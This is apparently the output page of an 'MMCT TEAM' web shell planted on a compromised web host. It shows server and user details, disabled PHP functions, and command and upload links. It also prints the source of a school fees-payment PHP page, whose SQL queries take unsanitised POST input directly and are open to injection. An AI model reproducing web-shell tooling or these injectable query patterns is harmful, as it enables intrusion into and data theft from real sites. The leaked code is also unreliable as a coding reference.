MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../config/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../config/../pay_fees_process_3.php
<?php 
    // First we execute our common code cato connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    }   
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 




<?php

if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{


include "config/config.php";
$due_amt=0;
$c_due=0;
$a=0;
$amt=0;
$hdr=array();
	$counnCC=array();
$stud_id=$_POST['id'];
$_SESSION['key']=$stud_id;
//$arr1 = [16,16,17,17,18];

$today= date("Y-m-d");
$c=0;
$t=0;


// selected subhreads in this paytothis array
$paytothis=$_POST['paytothis'];

$_SESSION['subAr']=$paytothis;





//echo"<pre>"; print_r($paytothis); exit;
foreach($paytothis as $k)
{
  $_SESSION['Total_Amount'.$k]=$_POST['Total_Amount'.$k];  
	$counnCC[$t]=$_POST[$k];
	
//echo "id=$k<br>"; 
//$sub_amt_res=mysqli_query($con,"SELECT * FROM `sub_head` where `Sub_Id` = '$k'");
//$sub_amt=mysqli_fetch_array($sub_amt_res);
//$amt=$amt+$sub_amt['Amount'];
$amt=$amt+$counnCC[$t];
$t++;
$hd_res=mysqli_query($con,"SELECT `Head_Id` FROM `stud_basic2` where `Subhead_Id` = '$k' and `Stud_id`='$stud_id'");
$hd=mysqli_fetch_array($hd_res);
foreach ($hd as $name) {
	//echo "head=$name<br>";
array_push($hdr, $name);
}
}
//storing selected heads in this array called new
$new = array_unique($hdr);
$_SESSION['headAr']=$new;
foreach ($new as $hn) {
	//echo "heads=$hn<br>";
	$due_res=mysqli_query($con,"SELECT * FROM `head` where `Head_Id` = '$hn'");
	$due=mysqli_fetch_array($due_res);
	if($due['Last_Date'] < $today)
	{
		$date1=date_create("$due[Last_Date]");
		$date2=date_create("$today");
		$diff=date_diff($date1,$date2);
		$difff= $diff->format("%a");
		$c_due=$due['Fine_Amount']*$difff;
	$due_amt=$due_amt+$c_due;
	}
}




//echo "Due Amount=$due_amt<br>"; // due amount variable is $due_amt
//echo "Total Amount = $amt<br>"; // Sub Heads  Total  amount variable is $amt
$g_total=$due_amt+$amt; 
//echo "Grand Total=$g_total<br>"; // Due + Total = Grand Total variabl is $g_total
$r1=mysqli_query($con,"select * from `stud_basic` where `Stud_Id` = '$stud_id'");
$row1=mysqli_fetch_array($r1);

?>

<!DOCTYPE html>
<html lang="en">
<head>

	
	<!-- start: Meta -->
	<meta charset="utf-8">
<title>Fees Management</title>	<meta name="description" content="Bootstrap Metro Dashboard">
	<meta name="author" content="Dennis Ji">
	<meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
	<!-- end: Meta -->
	
	<!-- start: Mobile Specific -->
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- end: Mobile Specific -->
	
	<!-- start: CSS -->
	<link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet">
	<link href="css/bootstrap-responsive.min.css" rel="stylesheet">
	<link id="base-style" href="css/style.css" rel="stylesheet">
	<link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet">
	<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'>
	<!-- end: CSS -->
	

	<!-- The HTML5 shim, for IE6-8 support of HTML5 elements -->
	<!--[if lt IE 9]>
	  	<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
		<link id="ie-style" href="css/ie.css" rel="stylesheet">
	<![endif]-->
	
	<!--[if IE 9]>
		<link id="ie9style" href="css/ie9.css" rel="stylesheet">
	<![endif]-->
		
	<!-- start: Favicon -->
	<link rel="shortcut icon" href="img/favicon.ico">
	<!-- end: Favicon -->
	
		<style type="text/css">
<!--
.style1 {
	color: #3300CC;
	font-weight: bold;
}
.style2 {
	color: #FF0000;
	font-weight: bold;
}
.style4 {
	color: #CC00FF;
	font-weight: bold;
}
hr.style1{
	border-top: 1px solid #8c8b8b;
}


hr.style2 {
	border-top: 3px double #8c8b8b;
}

hr.style3 {
	border-top: 1px dashed #8c8b8b;
}

hr.style4 {
	border-top: 1px dotted #8c8b8b;
}

hr.style5 {
	background-color: #fff;
	border-top: 2px dashed #8c8b8b;
}


hr.style6 {
	background-color: #fff;
	border-top: 2px dotted #8c8b8b;
}

hr.style7 {
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}


hr.style8 {
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}
hr.style8:after {
	content: '';
	display: block;
	margin-top: 2px;
	border-top: 1px solid #8c8b8b;
	border-bottom: 1px solid #fff;
}

hr.style9 {
	border-top: 1px dashed #8c8b8b;
	border-bottom: 1px dashed #fff;
}

hr.style10 {
	border-top: 1px dotted #8c8b8b;
	border-bottom: 1px dotted #fff;
}


hr.style11 {
	height: 6px;
	background: url(http://ibrahimjabbari.com/english/images/hr-11.png) repeat-x 0 0;
    border: 0;
}


hr.style12 {
	height: 6px;
	background: url(http://ibrahimjabbari.com/english/images/hr-12.png) repeat-x 0 0;
    border: 0;
}

hr.style13 {
	height: 5px;
	border: 0;
	box-shadow: 0 5px 5px -5px #8c8b8b inset;
}


hr.style14 { 
  border: 0; 
  height: 1px; 
  background-image: -webkit-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -moz-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -ms-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0);
  background-image: -o-linear-gradient(left, #f0f0f0, #8c8b8b, #f0f0f0); 
}


hr.style15 {
	border-top: 4px double #8c8b8b;
	text-align: center;
}
hr.style15:after {
	content: '\002665';
	display: inline-block;
	position: relative;
	top: -15px;
	padding: 0 10px;
	background: #f0f0f0;
	color: #8c8b8b;
	font-size: 18px;
}

hr.style16 { 
  border-top: 1px dashed #8c8b8b; 
} 
hr.style16:after { 
  content: '\002702'; 
  display: inline-block; 
  position: relative; 
  top: -12px; 
  left: 40px; 
  padding: 0 3px; 
  background: #f0f0f0; 
  color: #8c8b8b; 
  font-size: 18px; 
}


hr.style17 {
	border-top: 1px solid #8c8b8b;
	text-align: center;
}
hr.style17:after {
	content: '?';
	display: inline-block;
	position: relative;
	top: -14px;
	padding: 0 10px;
	background: #f0f0f0;
	color: #8c8b8b;
	font-size: 18px;
	-webkit-transform: rotate(60deg);
	-moz-transform: rotate(60deg);
	transform: rotate(60deg);
}


hr.style18 { 
  height: 30px; 
  border-style: solid; 
  border-color: #8c8b8b; 
  border-width: 1px 0 0 0; 
  border-radius: 20px; 
} 
hr.style18:before { 
  display: block; 
  content: ""; 
  height: 30px; 
  margin-top: -31px; 
  border-style: solid; 
  border-color: #8c8b8b; 
  border-width: 0 0 1px 0; 
  border-radius: 20px; 
}

-->


</style>

	    	<style>
        @media only screen and (max-width: 768px) {
            .input-xlarge,select {
                    width: 100%!important;
                }
        }
        </style>		
</head>

<body onLoad="myFunction()">
		<!-- start: Header -->
	<?php 


	include "menu_f.php"; ?>
	<!-- start: Header -->
	
		<div class="container-fluid-full">
		<div class="row-fluid">
				
			<!-- start: Main Menu -->
			<div id="sidebar-left" class="span2">
				<div class="nav-collapse sidebar-nav">
					<ul class="nav nav-tabs nav-stacked main-menu">
						<li><a href="dashboard.php"><i class="icon-bar-chart"></i><span class="hidden-tablet"> Dashboard</span></a></li>	
						
						<?php include "menu.php"; ?>							
						
						
						
					</ul>
				</div>
			</div>
			<!-- end: Main Menu -->
			
			<noscript>
				<div class="alert alert-block span10">
					<h4 class="alert-heading">Warning!</h4>
					<p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a> enabled to use this site.</p>
				</div>
			</noscript>
			
			<!-- start: Content -->
			
					<div id="content" class="span10">
			
			
			<ul class="breadcrumb">
				<li>
					<i class="icon-home"></i>
					<a href="dashboard.php">Home</a> 
					<i class="icon-angle-right"></i>
				</li>
				<li><a href="#">Pay fees</a></li>
			</ul>






<div class="row-fluid sortable">		
				<div class="box span12">
					<div class="box-header" data-original-title>
						<h2><i class="halflings-icon white user"></i><span class="break"></span>Payment Info</h2>
						<div class="box-icon">
							
						</div>
					</div>
					<div class="box-content" >
					
			<form action="pay_fees_process_calcu.php" method="post" />		
<table class="table" border="1">
						  <thead>
							  <tr>
								  <th>Name</th>
								  <th>Class/Division</th>
								  <th>Reg_No</th>
								  <th>Phone No</th>
							  </tr>
						  </thead>   
						  <tbody>
						<tr>
						<td><?php echo "$row1[Name]"; ?></td>
						<td><?php echo "$row1[Class]"; ?>/<?php echo "$row1[Division]"; ?></td>
						<td><?php echo "$row1[Reg_No]"; ?></td>
						<th><?php echo "$row1[Phone]"; ?></th>
						</tr>
						
					
						</tbody>
					  </table>

						
<table  border="3" width="800" align="center" class="table-bordered">
						  <thead>
							  <tr>
								  <th class="table-condensed" colspan="2">Applied Fees Codes</th>
							  </tr>
						  </thead>   
						  <tbody>


<hr>




<tr>	
							<div class="control-group  pull-center" >
							 <td><label class="control-label" ><b>Receipt Date</b></label></td>
								<div class="controls ">

<td><input class="input-xlarge "    value="<?php echo date('Y-m-d');  ?>" name="today" type="date" placeholder=" " required/></td>
								</div>
							  </div></tr>
							  <tr>
							      
							      	<td ><label class="control-label" for="selectError3"><b>Receipt Head</b></label> </td>
							  	<td> <select  name="ReceiptHead"  required="required">
									<?php
									$qq=mysqli_query($con,"select * from Receipt_Head");
									while($qq1=mysqli_fetch_array($qq))
									{
									?>
									<option value="<?php echo $qq1['ID']; ?>"><?php echo $qq1['Section']; ?></option>
									<?php
									}
									?>
								  </select>
								</div>
						  </div></td></tr>

						<tr>
						
						 <div class="control-group">
						   
							 
								<td ><label class="control-label" for="selectError3"><b>Payment Mode</b></label> </td>
								<div class="controls">
								 <td> <select  name="paymentmode" id="p" onChange="visible()" onclick="goto()" required="required">
									<option value="Cash">Cash</option>
									<option value="Cheque">Cheque</option>
									<option value="DD">DD</option>
									<option value="Challan">Challan (Paid)</option>
									<option value="ChallanTP">Challan (To Pay)</option>
									<option value="Online">Online</option>
								  </select>
								</div>
						  </div></td>
						</tr>

							<tr>	
							<div class="control-group  pull-center" >
							 <td><label class="control-label" ><b>Total Amount</b></label></td>
								<div class="controls ">

<td><input class="input-xlarge "  readonly="readonly" id="f" Name="total" onblur='add()' onMouseMove="add()"  value="<?php echo number_format($amt,2);  ?>" type="text" placeholder="Fine Amount " required style="background: #fff;border: 0;font-weight: bold;"/></td>
								</div>
							  </div></tr>
							  
							  <tr>	
							<div class="control-group  pull-center" >
							 <td><label class="control-label" ><b>In Word</b></label></td>
								<div class="controls ">
<?php
    $f = new NumberFormatter("en_IN", NumberFormatter::SPELLOUT);
    
?>
<td><?php echo ucwords($f->format($amt))." Only"; ?></td>
								</div>
							  </div></tr>
                    
						<tr style="display:none;">
							<div class="control-group  pull-center" >
							 <td><label class="control-label" ><b>Fine Amount</b></label></td>
								<div class="controls ">

<td><input class="input-xlarge " id="f" Name="Fine" onblur='add()' onMouseMove="add()"  value="<?php echo $due_amt;  ?>" type="text" placeholder="Fine Amount " readonly="readonly" required/></td>
								</div>
							  </div></tr>
							  <tr style="display:none;">	<div class="control-group  pull-center" >
								<td><label class="control-label" ><b>Grand Total Amount</b></label></td>
								<div class="controls ">
								 <td> <input class="input-xlarge " onblur='add()' onMouseMove="add()" Name="Grand_Total" value="<?php echo $g_total;  ?>" id="g" type="text" readonly="readonly" required></td>
								</div>
							  </div>
							</tr>
							
							
							<tr id="5">
					            <td><label  ><b>Transaction ID/Date</b></label></td>
					            <td>
								<input  Name="transaction_id_date"   placeholder="Transaction ID/Date" type="text">
								</td>
							</tr>
							<tr id="4">
					            <td><label  ><b>Cheque Date/Number</b></label></td>
					            <td>
								<input  Name="Cheque_date_number"   placeholder="Cheque Date/Number" type="text">
								</td>
							</tr>
							<tr id="3">
								<td><label  ><b>DD Date/Number</b></label></td>
								<td>
								 <input  Name="DD_date_number"  placeholder="DD Date/Number" type="text"  >
								</td>
							</tr>
							<tr id="2">
								<td><label  ><b>Challan Date/Number</b></label></td>
								<td>
								<input  Name="Challan_date_number"  placeholder="Challan Date/Number" type="text"  >
								 </td></tr>
								<tr id="1">
								<td><label  ><b>Alternative Receipt Number</b></label></td>
								<td>
							    <input  Name="cash_details"  placeholder="Receipt Number" type="text"  >
								</td></tr>
								


<tr><td colspan="2" style="display:none;">
	  <div class="control-group">
	  <?php
	    $_SESSION['subamount']=$counnCC;
	 // echo "$amt<br>"; foreach($counnCC as $zz)

	 // echo $zz; ?>					<div class="controls">
								  <label class="radio" >
									<input type="radio" name="optionsRadios" id="optionsRadios1" value="normal" checked="">
									Normal
								  </label>
								  <div style="clear:both"></div>
								  <label class="radio">
									<!--<input type="radio" name="optionsRadios" id="optionsRadios2" value="detailed">
Detailed								  </label>-->
								</div>
							  </div>

	</td>
</tr>



				<tr>
					<td colspan="2" align="center">
						
<input type="submit" class="mt-3 btn btn-info"  style="margin:10px;">
</td></tr></table>
				</form>	
					</div> </div> </div>
							  	           
		
    </div>

	
			
			
			<!--/.fluid-container-->
	
			<!-- end: Content -->
		</div><!--/#content.span10-->
		</div><!--/fluid-row-->
		

	
	<div class="clearfix"></div>

	
		<footer>

		<p>
			<span style="text-align:left;float:left">&copy; 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span>
			
		</p>

	</footer>
<script>
function add(){
	
var a,b;
var c=0;
a=Number(document.getElementById("t").value);
b=Number(document.getElementById("f").value);
c= a + b;
document.getElementById("g").value= c;
c=0;
}
</script>
	 
	 
	 	<script>
	 			function goto()
		{
					/*var freq=document.getElementById("p").value;
					if(freq == "Online")
					{
			   
            if (confirm("You want to Pay Online!")) 
        	{
            	document.location="onlinelink.php";
                //document.location="http://localhost/payumoney_working_code/PayUMoney_form.php";
            } 
		}*/
	}
		function visible()
		{
		    var freq=document.getElementById("p").value;
    		if(freq == "Cash")
    		{
    		    document.getElementById("1").style.display = "table-row";
    		    document.getElementById("2").style.display = "none";
    		    document.getElementById("3").style.display = "none";
    		    document.getElementById("4").style.display = "none";
    		    document.getElementById("5").style.display = "none";
    		}
    		else if(freq == "DD")
    		{
    		    document.getElementById("3").style.display = "table-row";
    		    document.getElementById("1").style.display = "none";
    		    document.getElementById("2").style.display = "none";
    		    document.getElementById("4").style.display = "none";
    		    document.getElementById("5").style.display = "none";
    		}
    		else if(freq == "Challan" || freq == "ChallanTP")
    		{
    		    document.getElementById("2").style.display = "table-row";
    		    document.getElementById("1").style.display = "none";
    		    document.getElementById("3").style.display = "none";
    		    document.getElementById("4").style.display = "none";
    		    document.getElementById("5").style.display = "none";
    		}
    		else if(freq == "Online")
    		{
    		    document.getElementById("5").style.display = "table-row";
    		    document.getElementById("1").style.display = "none";
    		    document.getElementById("3").style.display = "none";
    		    document.getElementById("4").style.display = "none";
    		    document.getElementById("2").style.display = "none";
    		}
    		else if(freq == "Cheque")
    	    {
    	        document.getElementById("5").style.display = "none";
    	        document.getElementById("4").style.display = "table-row";
    	        document.getElementById("3").style.display = "none";
    	        document.getElementById("1").style.display = "none";
    	        document.getElementById("2").style.display = "none";
    	    }
    	    else
    	    {
    	        document.getElementById("Cheque").style.display = "none";
    	        document.getElementById("Challan").style.display = "none";
    	        document.getElementById("DD1").style.display = "none";
    	        document.getElementById("Cash1").style.display = "none";
    	        document.getElementById("Online").style.display = "none";
    		}
    	}
		
		visible();
		</script>
	 
	 <script type="text/javascript">
	 
	function myFunction()
	{
 /*document.getElementById("1").style.display = "none";
 document.getElementById("2").style.display = "none";
 document.getElementById("3").style.display = "none";
 document.getElementById("4").style.display = "none";*/
	}	
	var amt=0;
function calcu(amount,i)
{
	//alert(i);
for (j = 0; j < i; j++) 	
	{
		d=ducument.getElementById['j'].value;
		amt=parseInt(amt)+parseInt(d);
		alert(amt);
	}

		//if(document.getElementsByName('payto').checked = "true")
//	{
//	amt=parseInt(amt)+parseInt(amount);
	//alert(amt);
	//}
	
}	
	 
	 </script>
	
		
	<!-- end: JavaScript-->
	<script src="js/jquery-1.9.1.min.js"></script>
	<script src="js/jquery-migrate-1.0.0.min.js"></script>
	
		<script src="js/jquery-ui-1.10.0.custom.min.js"></script>
	
		<script src="js/jquery.ui.touch-punch.js"></script>
	
		<script src="js/modernizr.js"></script>
	
		<script src="js/bootstrap.min.js"></script>
	
		<script src="js/jquery.cookie.js"></script>
	
		<script src='js/fullcalendar.min.js'></script>
	
		<script src='js/jquery.dataTables.min.js'></script>

		<script src="js/excanvas.js"></script>
	<script src="js/jquery.flot.js"></script>
	<script src="js/jquery.flot.pie.js"></script>
	<script src="js/jquery.flot.stack.js"></script>
	<script src="js/jquery.flot.resize.min.js"></script>
	
		<script src="js/jquery.chosen.min.js"></script>
	
		<script src="js/jquery.uniform.min.js"></script>
		
		<script src="js/jquery.cleditor.min.js"></script>
	
		<script src="js/jquery.noty.js"></script>
	
		<script src="js/jquery.elfinder.min.js"></script>
	
		<script src="js/jquery.raty.min.js"></script>
	
		<script src="js/jquery.iphone.toggle.js"></script>
	
		<script src="js/jquery.uploadify-3.1.min.js"></script>
	
		<script src="js/jquery.gritter.min.js"></script>
	
		<script src="js/jquery.imagesloaded.js"></script>
	
		<script src="js/jquery.masonry.min.js"></script>
	
		<script src="js/jquery.knob.modified.js"></script>
	
		<script src="js/jquery.sparkline.min.js"></script>
	
		<script src="js/counter.js"></script>
	
		<script src="js/retina.js"></script>

		<script src="js/custom.js"></script>
</body>
</html>
<?php
}
else
{
?>
<script>

document.location="Pay_fees.php";
</script>

<?php
}


MMCT - 2023